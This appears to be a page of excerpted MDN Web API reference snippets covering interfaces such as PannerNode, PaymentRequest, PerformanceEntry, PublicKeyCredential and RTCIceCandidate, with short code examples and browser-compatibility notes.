modern computers have multiple physical processor cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
...the number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch.
... the browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of workers that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.
... examples in this example, one worker is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use.
NavigatorConcurrentHardware - Web APIs
the navigatorconcurrenthardware mixin adds to the navigator interface features which allow web content to determine how many logical processors the user has available, in order to let content and web apps optimize their operations to best take advantage of the user's cpu.
... the number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share cpus.
... modern computers have multiple physical cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
...the browser may, however, choose to reduce the number in order to represent more accurately the number of workers that can run at once properties navigatorconcurrenthardware.hardwareconcurrency read only returns the number of logical processors which may be available to the user agent.
NetworkInformation.downlinkMax - Web APIs
the networkinformation.downlinkmax read-only property returns the maximum downlink speed, in megabits per second (mbps), for the underlying connection technology.
... syntax var max = networkinformation.downlinkmax return value an unrestricted double representing the maximum downlink speed, in megabits per second (mb/s), for the underlying connection technology.
... examples the following example monitors the connection using the change event and logs changes as they occur.
...max = 'not supported'; if ('connection' in navigator) { connectiontype = navigator.connection.effectivetype; if ('downlinkmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
Node.baseURI - Web APIs
WebAPINodebaseURI
although this property is read-only, its value may change in certain situations (see below).
... details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html living standard for details.
...note that obtaining the base url for a document may return different urls over time if the <base> tags or the document's location change.
... if the document contains xml:base attributes (which you shouldn't do in html documents), the element.baseuri takes the xml:base attributes of element's parents into account when computing the base url.
Node.nextSibling - Web APIs
WebAPINodenextSibling
the node.nextsibling read-only property returns the node immediately following the specified one in their parent's childnodes, or returns null if the specified node is the last child in the parent element.
...therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
... living standard no change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'node.nextsibling' in that specification.
Node.setUserData() - Web APIs
WebAPINodesetUserData
the node.setuserdata() method allows a user to attach (or remove) data to an element, without needing to modify the dom.
... note that such data will not be preserved when imported via node.importnode, as with node.clonenode() and node.renamenode() operations (though node.adoptnode does preserve the information), and equality tests in node.isequalnode() do not consider user data in making the assessment.
... syntax var prevuserdata = somenode.setuserdata(userkey, userdata, handler); parameters userkey is used as the key by which one may subsequently obtain the stored data.
... handler is a callback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle method (part of the userdatahandler interface).
NodeFilter - Web APIs
for treewalker, child nodes are also rejected.
... the children of skipped nodes are still considered.
... this is treated as "skip this node but not its children".
.../^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
Notification.requestPermission() - Web APIs
possible values for this string are: granted denied default examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has deni...
...} we no longer show a live sample on this page, as chrome and firefox no longer allow notification permissions to be requested from cross-origin <iframe>s, with other browsers to follow.
... to see a example in action, check out our to-do list example (also see the app running live.) note: in the above example we spawn notifications in response to a user gesture (clicking a button).
NotificationAction - Web APIs
these buttons' appearance and specific functionality vary across platforms but generally they provide a way to asynchronously show actions to the user in a notification.
... notificationaction.action read only the name of the action, which can be used to identify the clicked action similar to input names.
... here a service worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without having to open the website.
... self.registration.shownotification("new mail from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
offlineaudiocompletionevents are despatched to offlineaudiocontext instances for legacy reasons.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetofflineaudiocompletionevent() constructorchrome full support 57notes full support 57notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 57notes full support 57notes notes before version 59, the default values were not supported.chrome android full support 57notes full support 57notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
OffscreenCanvas - Web APIs
examples synchronous display of frames produced by an offscreencanvas one way to use the offscreencanvas api, is to use a renderingcontext that has been obtained from an offscreencanvas object to generate new frames.
...this method returns an imagebitmap object, which can be used in a variety of web apis and also in a second canvas without creating a transfer copy.
... to display the imagebitmap, you can use a imagebitmaprenderingcontext context, which can be created by calling canvas.getcontext("bitmaprenderer") on a (visible) canvas element.
... // commit rendering to the second canvas var bitmaptwo = offscreen.transfertoimagebitmap(); two.transferfromimagebitmap(bitmaptwo); asynchronous display of frames produced by an offscreencanvas another way to use the offscreencanvas api, is to call transfercontroltooffscreen() on a <canvas> element, either on a worker or the main thread, which will return an offscreencanvas object from an htmlcanvaselement object from the main thread.
PageTransitionEvent - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/pagetransitionevent" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family...
...="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, event.
... pagetransitionevent.persisted read only indicates if the document is loading from a cache.
... example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
PaintWorklet.registerPaint - Web APIs
/* checkboardworklet.js */ class checkerboardpainter { paint(ctx, geom, properties) { // use `ctx` as if it was a normal canvas const colors = ['red', 'green', 'blue']; const size = 32; for(let y = 0; y < geom.height/size; y++) { for(let x = 0; x < geom.width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = col...
...or; ctx.rect(x * size, y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('checkerboard', checkerboardpainter); the first step in using a paintworket is defining the paint worklet using the registerpaint() function, as done above.
... to use it, you register it with the css.paintworklet.addmodule() method: <script> css.paintworklet.addmodule('checkboardworklet.js'); </script> you can then use the paint() css function in your css anywhere an <image> value is valid.
... li { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
PannerNode.distanceModel - Web APIs
the distancemodel property of the pannernode interface is an enumerated value determining which algorithm to use to reduce the volume of the audio source as it moves away from the listener.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.maxDistance - Web APIs
the maxdistance property of the pannernode interface is a double value representing the maximum distance between the audio source and the listener, after which the volume is not reduced any further.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.panningModel - Web APIs
the panningmodel property of the pannernode interface is an enumerated value determining which spatialisation algorithm to use to position the audio in 3d space.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.refDistance - Web APIs
the distance at which the volume reduction starts taking effect.
...unlike rollofffactor, changing this value also delays the volume decay until the sound moves past the reference point.
... const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect...
...(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
PannerNode.setOrientation() - Web APIs
in such a case, a sound pointing away from the listener can be very quiet or even silent.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.setVelocity() - Web APIs
the velocity relative to the listener is used to control the pitch change needed to conform with the doppler effect due to the relative speed.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PasswordCredential.additionalData - Web APIs
the additionaldata property of the passwordcredential interface takes one of a formdata instance, a urlsearchparams instance, or null.
... syntax passwordcredential.additionaldata = formdata formdata = passwordcredential.additionaldata passwordcredential.additionaldata = urlsearchparams ulrsearchparams = passwordcredential.additionaldata value one of a formdata instance, a urlsearchparams instance, or null.
...it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch.
...navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
Path2D - Web APIs
WebAPIPath2D
the path methods of the canvasrenderingcontext2d interface are also present on this interface, which gives you the convenience of being able to retain and replay your path whenever desired.
...the starting point is the last point in the current path, which can be changed using moveto() before creating the bézier curve.
... path2d.arc() adds an arc to the path which is centered at (x, y) position with radius r starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise).
... path2d.ellipse() adds an elliptical arc to the path which is centered at (x, y) position with the radii radiusx and radiusy starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise).
PaymentAddress.region - Web APIs
the read-only region property of the paymentaddress interface returns a string containing the top-level administrative subdivision of the country in which the address is located.
... syntax var paymentregion = paymentaddress.region; value a domstring specifying the top-level administrative subdivision within the country in which the address is located.
... this region has different names in different countries, such as: state, province, oblast, prefecture, or county.
...in such cases, the browser returns an empty string as the value of region.
PaymentCurrencyAmount.currencySystem - Web APIs
the obsolete paymentcurrencyamount property currencysystem is a string which specifies the standard being used to specify the currency the value is specified in.
... for example, the default is urn:iso:std:iso:4217, which specifies that the standard used is iso 4217.
... syntax currencysystem = paymentcurrencyamount.currencysystem; value a domstring which specifies the currency standard used to specify the currency in which the payment value is represented.
... candidate recommendation the march 20, 2018 version of the specification; the last one to include this property ...
PaymentItem - Web APIs
this might be an item or service being purchased or a tax or other charge.
... label secure context a string specifying a human-readable name or description of the item or service being charged for.
... pending secure context a boolean value which is true if the specified amount has not yet been finalized.
... this can be used to show items such as shipping or tax amounts that depend upon the selection of shipping address, shipping option, or so forth.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support 11.1webview android no support nochrome android full support 60firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.shippingAddress - Web APIs
when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
...var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for brevity.
... }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingopti...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingType - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingtypechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support 11.1webview android no support nochrome android full support 55firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.payerName - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayernamechrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support nochrome android full support 58firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 7.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.requestId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidchrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support nochrome android full support 60firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PerformanceEntry.startTime - Web APIs
"resource" - returns the timestamp immediately before the browser starts fetching the resource.
...the entry is a performanceresourcetiming object), this property returns the performanceentry.fetchstart timestamp.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'starttime' in that specification.
PerformanceEntry - Web APIs
performance entries are also created in indirect ways such as loading a resource (such as an image).
... performanceentry.entrytype read only a domstring representing the type of performance metric such as, for example, "mark".
... example the following example checks all performanceentry properties to see if the browser supports them and if so, write their values to the console.
...ance entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("performanceentry[" + i + "]"); print_performanceentry(p[i]); } } function print_performanceentry(perfentry) { var properties = ["name", "entrytype", "starttime", "duration"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceObserver.observe() - Web APIs
the performance entry types are specified as an array of domstring objects, each naming one entry type; the type names are documented in performance entry type names in performanceentry.entrytype.
... when a matching performance entry is recorded, the performance observer's callback function—set when creating the performanceobserver—is invoked.
... syntax observer.observe(options); parameters options a performanceobserverinit dictionary with the following possible members: entrytypes: an array of domstring objects, each specifying one performance entry type to observe.
... examples this example creates and configures two performanceobservers; one watches for "mark" and "frame" events, and the other watches for "measure" events.
PerformanceResourceTiming.redirectStart - Web APIs
the redirectstart read-only property returns a timestamp representing the start time of the fetch which that initiates the redirect.
... if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned.
... syntax resource.redirectstart; return value a timestamp representing the start time of the fetch which initiates the redirect.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
Permissions API - Web APIs
concepts and usage historically different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request).
... the permissions property has been made available on the navigator object, both in the standard browsing context and the worker context (workernavigator — so permission checks are available inside workers), and returns a permissions object that provides access to the permissions api functionality.
... permissions provides the core permission api functionality, such as methods for querying and revoking permissions.
... permissionstatus provides access to the current status of a permission, and an event handler to respond to changes in permission status.
ProcessingInstruction - Web APIs
the processinginstruction interface represents a processing instruction; that is, a node which embeds an instruction targeting a specific application but that can be ignored by any other applications which don't recognize the instruction.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/processinginstruction" target="_top"><rect x="436" y...
...="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
PromiseRejectionEvent - Web APIs
the promiserejectionevent interface represents events which are sent to the global script context when javascript promises are rejected.
...w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/promiserejectionevent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-fami...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">promiserejectionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor promiserejectionevent() creates a promiserejectionevent event, given the type of event (unhandledrejection or rejectionhandled) and other details.
... examples this simple example catches unhandled promise rejections and logs them for debugging purposes.
PublicKeyCredential.response - Web APIs
the response read-only property of the publickeycredential interface is an authenticatorresponse object which is sent from the authenticator to the user agent for the creation/fetching of credentials.
... note: when validating the fetching of existing credentials, the whole publickeycredential object and the client extensions are necessary for the relying party's server.
... syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching.
... examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(func...
PublicKeyCredentialCreationOptions.rp - Web APIs
the rp property of the publickeycredentialcreationoptions dictionary is an object describing the relying party which requested the credential creation (via navigator.credentials.create()).
... syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an url as a usvstring value which points to an image resource which can be the logo/icon of the relying party.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcr...
...edentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification.
PublicKeyCredentialCreationOptions.timeout - Web APIs
this property is optional and merely is a hint which may be overridden by the browser.
... note: an analogous option exists for the fetching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.timeout.
... challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server...
... to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
allowcredentials is an optional property of the publickeycredentialrequestoptions dictionary which indicates the existing credentials acceptable for retrieval.
...as of this writing (march 2019), only "public-key" may be used.
... id a buffersource matching an existing public key credential identifier (publickeycredential.rawid).
... examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web ...
RTCDTMFSender.insertDTMF() - Web APIs
sending of the tones is performed asynchronously, with tonechange events sent to the rtcdtmfsender every time a tone starts or ends.
...a "," character inserts a two second delay.
... duration optional the amount of time, in milliseconds, that each dtmf tone should last.
... invalidcharactererror one or more of the characters in tones is not valid dtmf.
RTCIceCandidate.RTCIceCandidate() - Web APIs
the rtcicecandidate() constructor creates and returns a new rtcicecandidate object, which can be configured to represent a single ice candidate.
... if candidateinfo is provided, the new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit.
... the candidate string (which is sdp text) is parsed; each property found is stored in the corresponding field in the rtcicecandidate.
...the default value of candidate is the empty string, which indicates that the candidate is an "end-of-candidates" message.
RTCIceCandidate.candidate - Web APIs
if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker.
...the attributes are all separated by a single space character, and are in a specific order.
... the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example in this example, we see a function which receives as input an sdp string containing an ice candidate received from the remote peer during the signaling process.
